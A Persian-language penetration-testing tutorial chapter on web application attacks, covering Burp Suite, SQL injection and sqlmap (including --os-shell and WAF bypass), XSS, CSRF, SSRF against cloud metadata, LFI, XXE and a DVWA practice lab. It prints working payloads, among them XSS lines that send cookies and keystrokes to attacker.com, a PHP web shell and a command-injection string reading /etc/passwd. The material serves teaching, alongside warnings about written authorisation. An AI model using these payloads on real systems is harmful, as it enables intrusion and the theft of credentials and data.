</>

لینوکس‌پارسی

مرجع فارسی آموزش لینوکس

Gentoo • Arch • Debian • Ubuntu • Kali • Parrot
پرش به محتوای اصلی

Command Palette

Search for a command to run...

فصل ۶: هک وب‌اپلیکیشن

معماری وب‌اپلیکیشن، Burp Suite، SQL Injection (Union/Boolean/Time/Error)، sqlmap، XSS (Reflected/Stored/DOM)، CSRF، SSRF، LFI/RFI و XXE به‌همراه OWASP Top 10.

پیشرفته۲۲ دقیقه مطالعهآخرین بروزرسانی: ۸ تیر ۱۴۰۵ویرایش در گیت‌هاب

معماری وب‌اپلیکیشن#

یک وب‌اپلیکیشن مدرن معمولاً از این لایه‌ها تشکیل می‌شود:

لایهمثالنقش
FrontendHTML, CSS, JS, Reactرابط کاربری در مرورگر
BackendPHP, Node.js, Python, Javaمنطق برنامه
DatabaseMySQL, PostgreSQL, MongoDBذخیره داده
Web ServerNginx, Apacheسرو فایل‌های استاتیک و پراکسی
Application ServeruWSGI, Tomcatاجرای کد Backend
APIREST, GraphQLارتباط بین کلاینت و سرور

هر لایه می‌تواند حمله‌پذیر باشد. در این فصل، حملات اصلی لایه‌های Backend و Database را مرور می‌کنیم.

Burp Suite — ابزار همه‌کاره#

Burp Suite (نسخه Community رایگان، نسخه Professional پولی) استاندارد طلایی تست نفوذ وب است. این ابزار به‌عنوان یک پراکسی بین مرورگر و سرور قرار می‌گیرد و تمام ترافیک را امکان بررسی، تغییر و تکرار می‌دهد.

قابلیت‌های اصلی Burp:

  • Proxy: ضبط و تغییر درخواست‌ها در لحظه.
  • Repeater: تکرار و تغییر یک درخواست برای تست دستی.
  • Intruder: فازر خودکار برای حملات brute-force و payload injection.
  • Decoder: رمزگشایی/رمزگذاری Base64، URL، HTML و غیره.
  • Comparer: مقایسه دو پاسخ برای یافتن تفاوت‌های ظریف.
  • Sequencer: تحلیل تصادفی بودن توکن‌های session.

راه‌اندازی:

# در Kali از قبل نصب است
burpsuite &
 
# تنظیم مرورگر Firefox برای استفاده از پراکسی 127.0.0.1:8080
# و نصب گواهی CA از http://burp/cert

Burp Suite Community کافی است

برای اکثر تست‌های نفوذ قانونی، نسخه Community کاملاً کافی است. نسخه Professional فقط ابزارهای اسکن خودکار پیشرفته‌تر و Burp Collaborator (برای کشف blind vulnerabilities) را اضافه می‌کند. اگر Bug Bounty می‌کنید، نسخه Pro ارزش سرمایه‌گذاری دارد؛ در غیر این صورت، صرفه‌جویی کنید.

SQL Injection#

SQL Injection (SQLi) یکی از قدیمی‌ترین اما همچنان خطرناک‌ترین آسیب‌پذیری‌های وب است. زمانی رخ می‌دهد که ورودی کاربر بدون پارامتری‌سازی مستقیماً در کوئری SQL قرار می‌گیرد.

انواع SQL Injection#

نوعکارکرددشواری کشف
Union-basedاستفاده از UNION برای الحاق خروجی دلخواهکم
Error-basedاستخراج داده از پیام خطای SQLکم
Boolean blindاستنتاج داده از تفاوت true/falseمتوسط
Time-based blindاستنتاج داده از تاخیر SLEEPبالا
Out-of-bandارسال داده از طریق DNS/HTTP به سرور مهاجمبالا

کشف و استثمار دستی#

فرض کنید URL زیر را پیدا کرده‌اید:

http://example.com/page?id=1

برای تست SQLi، یک کوتی اضافه کنید:

http://example.com/page?id=1'

اگر صفحه خطای SQL یا رفتار متفاوت نشان داد، احتمالاً آسیب‌پذیر است. استثمار Union-based:

-- تشخیص تعداد ستون‌ها
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
 
-- پیدا کردن ستون‌های نمایش‌داده‌شده
' UNION SELECT NULL, NULL, NULL --
 
-- استخراج نسخه دیتابیس
' UNION SELECT NULL, version(), NULL --
 
-- لیست جدول‌ها
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables --
 
-- استخراج نام کاربری و رمز عبور
' UNION SELECT username, password, NULL FROM users --

Time-based blind برای زمانی که صفحه هیچ خروجی قابل مشاهده‌ای نمی‌دهد:

-- اگر ۵ ثانیه تاخیر شد، آسیب‌پذیر است
' AND SLEEP(5) --
 
-- استخراج اولین کاراکتر نام دیتابیس
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --

sqlmap — اتوماسیون SQLi#

sqlmap قدرتمندترین ابزار خودکار برای SQLi است. همیشه قبل از استفاده، مطمئن شوید که درخواست را در Burp یا curl بازتولید کرده‌اید تا خطر آسیب به دیتابیس را کاهش دهید.

# اسکن پایه
sqlmap -u "http://example.com/page?id=1" --batch
 
# فهرست دیتابیس‌ها
sqlmap -u "http://example.com/page?id=1" --dbs
 
# فهرست جدول‌های یک دیتابیس
sqlmap -u "http://example.com/page?id=1" -D dbname --tables
 
# فهرست ستون‌های یک جدول
sqlmap -u "http://example.com/page?id=1" -D dbname -T users --columns
 
# استخراج کامل داده
sqlmap -u "http://example.com/page?id=1" -D dbname -T users --dump
 
# استفاده از یک درخواست ذخیره‌شده Burp
sqlmap -r request.txt --batch
 
# تلاش برای گرفتن شل OS
sqlmap -u "http://example.com/page?id=1" --os-shell
 
# دور زدن WAF با tamper scriptها
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between

--dump می‌تواند خطرناک باشد

گزینه --dump کل محتویات یک جدول را استخراج می‌کند که می‌تواند شامل هزاران رکورد باشد و فشار زیادی روی سرور بیاورد. در تست نفوذ قانونی، معمولاً فقط --count و سپس استخراج چند رکورد نمونه کافی است. هیچ‌گاه --dump-all را بدون هماهنگی با مشتری اجرا نکنید.

XSS — Cross-Site Scripting#

XSS زمانی رخ می‌دهد که ورودی کاربر بدون escape شدن در صفحه HTML خروجی داده می‌شود. این به مهاجم اجازه می‌دهد کد جاوااسکریپت در مرورگر قربانی اجرا کند.

انواع XSS#

نوعتعریفمثال
Reflectedpayload از URL گرفته و در پاسخ نمایش داده می‌شودجستجو در سایت
Storedpayload در دیتابیس ذخیره و برای همه کاربران نمایش داده می‌شودکامنت در وبلاگ
DOM-basedپردازش در سمت کلاینت، بدون رفت‌و‌بازگشت به سرورتغییر DOM با JavaScript

Payloadهای متداول#

<!-- Payload پایه -->
<script>alert('XSS')</script>
 
<!-- دور زدن فیلتر ساده -->
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS)>
 
<!-- سرقت کوکی -->
<script>new Image().src='http://attacker.com/log?c='+document.cookie</script>
 
<!-- Keylogger -->
<script>document.onkeypress=function(e){new Image().src='http://attacker.com/k?c='+e.key}</script>
 
<!-- اجرای Beef hook (برای تست پیشرفته) -->
<script src="http://attacker.com:3000/hook.js"></script>

برای ذخیره‌ای، این payload را در فیلد کامنت یا پروفایل وارد کنید و سپس صفحه را refresh.

CSRF — Cross-Site Request Forgery#

CSRF زمانی رخ می‌دهد که یک وب‌اپلیکیشن درخواست‌های حساس را فقط بر اساس کوکی session احراز هویت می‌کند و بدون token مخصوص CSRF. مهاجم یک صفحه مخرب می‌سازد که قربانی در حالت login اگر باز کند، درخواست ناخواسته‌ای به سایت ارسال می‌کند.

مثال فرم مخفی CSRF:

<form action="http://bank.com/transfer" method="POST" id="f">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('f').submit()</script>

دفاع: استفاده از CSRF token، SameSite cookies و re-authentication برای عملیات حساس.

SSRF — Server-Side Request Forgery#

SSRF به مهاجم اجازه می‌دهد از سرور قربانی برای ارسال درخواست به سیستم‌های داخلی (که از بیرون قابل دسترس نیستند) استفاده کند. هدف‌های شایع:

  • http://169.254.169.254/latest/meta-data/ — AWS metadata
  • http://localhost:6379/ — Redis داخلی
  • file:///etc/passwd — خواندن فایل محلی

مثال:

http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

LFI/RFI — File Inclusion#

LFI (Local File Inclusion) اجازه می‌دهد فایل‌های محلی سرور خوانده شوند. RFI (Remote File Inclusion) اجازه می‌دهد فایل از یک URL خارجی include شود و در نتیجه اجرای کد از راه دور.

کشف LFI:

http://example.com/page?file=../../../../etc/passwd
http://example.com/page?file=php://filter/convert.base64-encode/resource=index.php

اکنون می‌توانید با PHP filter، کد منبع فایل‌ها را به‌صورت Base64 بخوانید و سپس decode کنید.

XXE — XML External Entity#

XXE در پارسرهای XML قدیمی رخ می‌دهد که entity خارجی را پردازش می‌کنند. یک payload نمونه:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

این payload محتویات /etc/passwd را در پاسخ سرور قرار می‌دهد.

OWASP Top 10 — جدول خلاصه#

ردهناممثال
A01Broken Access ControlIDOR، عدم چک نقش
A02Cryptographic Failuresرمزنگاری ضعیف، TLS نسخه قدیمی
A03InjectionSQLi، Command Injection
A04Insecure Designنبود مدل تهدید
A05Security Misconfigurationفایل پشتیبان روی سرور، بنر نسخه
A06Vulnerable Componentsکتابخانه قدیمی با CVE
A07Auth Failuresbrute-force، session ثابت
A08Software/Data Integrity Failuresبدون امضای باینری
A09Logging Failuresلاگ‌نکردن رویدادهای حساس
A10SSRFدسترسی به متادیتای ابر

قانون نهایی هک وب

تمام تکنیک‌های این فصل فقط باید روی سیستم‌هایی اجرا شوند که اجازه کتبی برای تست آن‌ها دارید. حتی ارسال یک payload XSS به سایت عمومی یک شرکت بدون اجازه، می‌تواند به اتهام «دسترسی غیرمجاز» تعبیر شود. در Bug Bounty، حتماً scope را با دقت بخوانید و هرگز خارج از آن تست نکنید.

تمرین عملی — DVWA#

نرم‌افزار DVWA (Damn Vulnerable Web Application) را در یک ماشین مجازی راه بیندازید:

# در Kali
sudo apt install dvwa
sudo service apache2 start
# دسترسی: http://localhost/dvwa
# نام کاربری: admin / رمز: password

سپس این تمرین‌ها را با Burp Suite اجرا کنید:

# 1. SQLi در صفحه SQL Injection
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="security=low; PHPSESSID=YOUR_SESSION" --dbs
 
# 2. XSS Reflected
# وارد کنید در فیلد: <script>alert(document.cookie)</script>
 
# 3. Command Injection
# وارد کنید در فیلد: ; cat /etc/passwd
 
# 4. File Upload
# آپلود یک فایل PHP با محتوای: <?php system($_GET['c']); ?>
# سپس دسترسی: http://localhost/dvwa/hackable/uploads/shell.php?c=id

خلاصه و گام بعدی#

در این فصل، با حملات اصلی وب‌اپلیکیشن از SQL Injection تا XSS، CSRF، SSRF، LFI و XXE آشنا شدید و یاد گرفتید که چگونه با Burp Suite و sqlmap این حملات را اتوماسیون کنید. فهم عمیق هر حمله به شما امکان می‌دهد در پلتفرم‌هایی مانند PortSwigger Web Security Academy و HackTheBox مهارت کسب کنید.

در فصل بعد، با حملات رمز عبور آشنا می‌شوید؛ جایی که تکنیک‌های hash cracking، brute-force و password spraying را با ابزارهایی مانند Hashcat و John the Ripper مرور می‌کنیم.

اشتراک‌گذاری:

این صفحه در تاریخ ۸ تیر ۱۴۰۵ به‌روزرسانی شده است.